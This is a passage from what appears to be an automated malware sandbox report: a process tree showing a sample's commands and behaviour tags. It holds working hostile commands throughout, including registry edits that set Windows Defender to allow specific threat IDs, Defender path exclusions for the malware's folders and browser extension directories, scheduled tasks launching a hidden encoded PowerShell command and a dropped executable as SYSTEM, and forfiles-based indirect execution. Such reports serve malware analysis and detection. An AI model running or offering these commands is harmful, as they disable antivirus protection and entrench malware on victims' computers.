                                    "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                                    3⤵
                                    • System Location Discovery: System Language Discovery
                                    PID:1544
                                    • C:\Windows\SysWOW64\reg.exe
                                      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                                      4⤵
                                        PID:3948
                                    • C:\Windows\SysWOW64\reg.exe
                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
                                      3⤵
                                        PID:1780
                                      • C:\Windows\SysWOW64\reg.exe
                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
                                        3⤵
                                          PID:3412
                                        • C:\Windows\SysWOW64\reg.exe
                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
                                          3⤵
                                          • System Location Discovery: System Language Discovery
                                          PID:980
                                        • C:\Windows\SysWOW64\reg.exe
                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
                                          3⤵
                                          • System Location Discovery: System Language Discovery
                                          PID:4468
                                        • C:\Windows\SysWOW64\reg.exe
                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
                                          3⤵
                                          • System Location Discovery: System Language Discovery
                                          PID:4692
                                        • C:\Windows\SysWOW64\reg.exe
                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
                                          3⤵
                                          • System Location Discovery: System Language Discovery
                                          PID:2156
                                        • C:\Windows\SysWOW64\reg.exe
                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
                                          3⤵
                                            PID:4752
                                          • C:\Windows\SysWOW64\reg.exe
                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
                                            3⤵
                                              PID:3396
                                            • C:\Windows\SysWOW64\reg.exe
                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
                                              3⤵
                                                PID:2484
                                              • C:\Windows\SysWOW64\reg.exe
                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
                                                3⤵
                                                  PID:4804
                                                • C:\Windows\SysWOW64\reg.exe
                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
                                                  3⤵
                                                    PID:2272
                                                  • C:\Windows\SysWOW64\reg.exe
                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
                                                    3⤵
                                                      PID:1840
                                                    • C:\Windows\SysWOW64\reg.exe
                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
                                                      3⤵
                                                        PID:2068
                                                      • C:\Windows\SysWOW64\reg.exe
                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
                                                        3⤵
                                                          PID:4928
                                                        • C:\Windows\SysWOW64\reg.exe
                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
                                                          3⤵
                                                            PID:2196
                                                          • C:\Windows\SysWOW64\reg.exe
                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
                                                            3⤵
                                                            • System Location Discovery: System Language Discovery
                                                            PID:1060
                                                          • C:\Windows\SysWOW64\reg.exe
                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
                                                            3⤵
                                                            • System Location Discovery: System Language Discovery
                                                            PID:4512
                                                          • C:\Windows\SysWOW64\reg.exe
                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
                                                            3⤵
                                                            • System Location Discovery: System Language Discovery
                                                            PID:1488
                                                          • C:\Windows\SysWOW64\reg.exe
                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
                                                            3⤵
                                                            • System Location Discovery: System Language Discovery
                                                            PID:3176
                                                          • C:\Windows\SysWOW64\reg.exe
                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
                                                            3⤵
                                                            • System Location Discovery: System Language Discovery
                                                            PID:2716
                                                          • C:\Windows\SysWOW64\reg.exe
                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
                                                            3⤵
                                                            • System Location Discovery: System Language Discovery
                                                            PID:2312
                                                          • C:\Windows\SysWOW64\reg.exe
                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
                                                            3⤵
                                                              PID:4980
                                                            • C:\Windows\SysWOW64\reg.exe
                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
                                                              3⤵
                                                                PID:3924
                                                              • C:\Windows\SysWOW64\reg.exe
                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:32
                                                                3⤵
                                                                • System Location Discovery: System Language Discovery
                                                                PID:3480
                                                              • C:\Windows\SysWOW64\reg.exe
                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:64
                                                                3⤵
                                                                • System Location Discovery: System Language Discovery
                                                                PID:4812
                                                              • C:\Windows\SysWOW64\reg.exe
                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:32
                                                                3⤵
                                                                  PID:908
                                                                • C:\Windows\SysWOW64\reg.exe
                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:64
                                                                  3⤵
                                                                  • System Location Discovery: System Language Discovery
                                                                  PID:4440
                                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\OKRdpmURQpaU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\OKRdpmURQpaU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ZTBxIWbqU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ZTBxIWbqU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\aMBHFSbSyrUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\aMBHFSbSyrUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\smKXxMfqpieUC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\smKXxMfqpieUC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\xOBlloqpUQIzwZLwmJR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\xOBlloqpUQIzwZLwmJR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\VyxcWyOuWaibjkVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\VyxcWyOuWaibjkVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\PeYlPniMlKWeAvybP\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\PeYlPniMlKWeAvybP\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\AkGJDxGRiCChDkCg\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\AkGJDxGRiCChDkCg\" /t REG_DWORD /d 0 /reg:64;"
                                                                2⤵
                                                                • Drops file in System32 directory
                                                                • Modifies data under HKEY_USERS
                                                                • Suspicious behavior: EnumeratesProcesses
                                                                • Suspicious use of AdjustPrivilegeToken
                                                                PID:2324
                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                  "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\OKRdpmURQpaU2" /t REG_DWORD /d 0 /reg:32
                                                                  3⤵
                                                                    PID:3536
                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\OKRdpmURQpaU2" /t REG_DWORD /d 0 /reg:32
                                                                      4⤵
                                                                      • System Location Discovery: System Language Discovery
                                                                      PID:804
                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\OKRdpmURQpaU2" /t REG_DWORD /d 0 /reg:64
                                                                    3⤵
                                                                    • System Location Discovery: System Language Discovery
                                                                    PID:4232
                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZTBxIWbqU" /t REG_DWORD /d 0 /reg:32
                                                                    3⤵
                                                                    • System Location Discovery: System Language Discovery
                                                                    PID:1264
                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZTBxIWbqU" /t REG_DWORD /d 0 /reg:64
                                                                    3⤵
                                                                    • System Location Discovery: System Language Discovery
                                                                    PID:3184
                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\aMBHFSbSyrUn" /t REG_DWORD /d 0 /reg:32
                                                                    3⤵
                                                                      PID:4652
                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\aMBHFSbSyrUn" /t REG_DWORD /d 0 /reg:64
                                                                      3⤵
                                                                      • System Location Discovery: System Language Discovery
                                                                      PID:2572
                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\smKXxMfqpieUC" /t REG_DWORD /d 0 /reg:32
                                                                      3⤵
                                                                        PID:4276
                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\smKXxMfqpieUC" /t REG_DWORD /d 0 /reg:64
                                                                        3⤵
                                                                        • System Location Discovery: System Language Discovery
                                                                        PID:2976
                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\xOBlloqpUQIzwZLwmJR" /t REG_DWORD /d 0 /reg:32
                                                                        3⤵
                                                                        • System Location Discovery: System Language Discovery
                                                                        PID:1492
                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\xOBlloqpUQIzwZLwmJR" /t REG_DWORD /d 0 /reg:64
                                                                        3⤵
                                                                        • System Location Discovery: System Language Discovery
                                                                        PID:2364
                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\VyxcWyOuWaibjkVB /t REG_DWORD /d 0 /reg:32
                                                                        3⤵
                                                                          PID:568
                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\VyxcWyOuWaibjkVB /t REG_DWORD /d 0 /reg:64
                                                                          3⤵
                                                                          • System Location Discovery: System Language Discovery
                                                                          PID:2064
                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
                                                                          3⤵
                                                                            PID:2908
                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
                                                                            3⤵
                                                                              PID:3752
                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
                                                                              3⤵
                                                                                PID:2348
                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
                                                                                3⤵
                                                                                • System Location Discovery: System Language Discovery
                                                                                PID:3404
                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\PeYlPniMlKWeAvybP /t REG_DWORD /d 0 /reg:32
                                                                                3⤵
                                                                                • System Location Discovery: System Language Discovery
                                                                                PID:3004
                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\PeYlPniMlKWeAvybP /t REG_DWORD /d 0 /reg:64
                                                                                3⤵
                                                                                  PID:3628
                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\AkGJDxGRiCChDkCg /t REG_DWORD /d 0 /reg:32
                                                                                  3⤵
                                                                                    PID:3156
                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\AkGJDxGRiCChDkCg /t REG_DWORD /d 0 /reg:64
                                                                                    3⤵
                                                                                    • System Location Discovery: System Language Discovery
                                                                                    PID:3552
                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                  schtasks /CREATE /TN "gcayjiTvn" /SC once /ST 06:07:03 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                                                                                  2⤵
                                                                                  • System Location Discovery: System Language Discovery
                                                                                  • Scheduled Task/Job: Scheduled Task
                                                                                  PID:3504
                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                  schtasks /run /I /tn "gcayjiTvn"
                                                                                  2⤵
                                                                                    PID:576
                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                    schtasks /DELETE /F /TN "gcayjiTvn"
                                                                                    2⤵
                                                                                      PID:4664
                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                      schtasks /CREATE /TN "voUEtHYOOZwJsxqeG" /SC once /ST 05:13:07 /RU "SYSTEM" /TR "\"C:\Windows\Temp\AkGJDxGRiCChDkCg\scsXxWhnCmegqEO\fKyKrYk.exe\" 9m /tpRYdidkU 385104 /S" /V1 /F
                                                                                      2⤵
                                                                                      • Drops file in Windows directory
                                                                                      • System Location Discovery: System Language Discovery
                                                                                      • Scheduled Task/Job: Scheduled Task
                                                                                      PID:3536
                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                      schtasks /run /I /tn "voUEtHYOOZwJsxqeG"
                                                                                      2⤵
                                                                                      • System Location Discovery: System Language Discovery
                                                                                      PID:3316
                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                      C:\Windows\SysWOW64\WerFault.exe -u -p 960 -s 680
                                                                                      2⤵
                                                                                      • Program crash
                                                                                      PID:2684
                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                                                                                    C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                                                                                    1⤵
                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                    PID:4752
                                                                                    • C:\Windows\system32\gpupdate.exe
                                                                                      "C:\Windows\system32\gpupdate.exe" /force
                                                                                      2⤵
                                                                                        PID:3196
                                                                                    • C:\Windows\system32\svchost.exe
                                                                                      C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
                                                                                      1⤵
                                                                                        PID:4980
                                                                                      • C:\Windows\system32\svchost.exe
                                                                                        C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
                                                                                        1⤵
                                                                                          PID:2424
                                                                                        • C:\Windows\system32\gpscript.exe
                                                                                          gpscript.exe /RefreshSystemParam
                                                                                          1⤵
                                                                                            PID:4852
                                                                                          • C:\Windows\Temp\AkGJDxGRiCChDkCg\scsXxWhnCmegqEO\fKyKrYk.exe
                                                                                            C:\Windows\Temp\AkGJDxGRiCChDkCg\scsXxWhnCmegqEO\fKyKrYk.exe 9m /tpRYdidkU 385104 /S
                                                                                            1⤵
                                                                                            • Checks computer location settings
                                                                                            • Executes dropped EXE
                                                                                            • Drops Chrome extension
                                                                                            • Drops file in System32 directory
                                                                                            • Drops file in Program Files directory
                                                                                            • Modifies data under HKEY_USERS
                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                            PID:3576
                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                              "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                                                              2⤵
                                                                                                PID:4424
                                                                                                • C:\Windows\SysWOW64\forfiles.exe
                                                                                                  forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
                                                                                                  3⤵
                                                                                                  • Indirect Command Execution
                                                                                                  PID:4800
                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                    /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                                                                    4⤵
                                                                                                      PID:2728
                                                                                                      • \??\c:\windows\SysWOW64\reg.exe
                                                                                                        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                                                                        5⤵
                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                        PID:3832
                                                                                                  • C:\Windows\SysWOW64\forfiles.exe
                                                                                                    forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
                                                                                                    3⤵
                                                                                                    • Indirect Command Execution
                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                    PID:2252
                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                                                                      4⤵
                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                      PID:3320
                                                                                                      • \??\c:\windows\SysWOW64\reg.exe
                                                                                                        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                                                                        5⤵
                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                        PID:4600
                                                                                                  • C:\Windows\SysWOW64\forfiles.exe
                                                                                                    forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
                                                                                                    3⤵
                                                                                                    • Indirect Command Execution
                                                                                                    PID:4972
                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                                                      4⤵
                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                      PID:4712
                                                                                                      • \??\c:\windows\SysWOW64\reg.exe
                                                                                                        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                                                        5⤵
                                                                                                          PID:1252
                                                                                                    • C:\Windows\SysWOW64\forfiles.exe
                                                                                                      forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
                                                                                                      3⤵
                                                                                                      • Indirect Command Execution
                                                                                                      PID:3588
                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                                                        4⤵
                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                        PID:3192
                                                                                                        • \??\c:\windows\SysWOW64\reg.exe
                                                                                                          reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                                                          5⤵
                                                                                                            PID:2356
                                                                                                      • C:\Windows\SysWOW64\forfiles.exe
                                                                                                        forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                                                                        3⤵
                                                                                                        • Indirect Command Execution
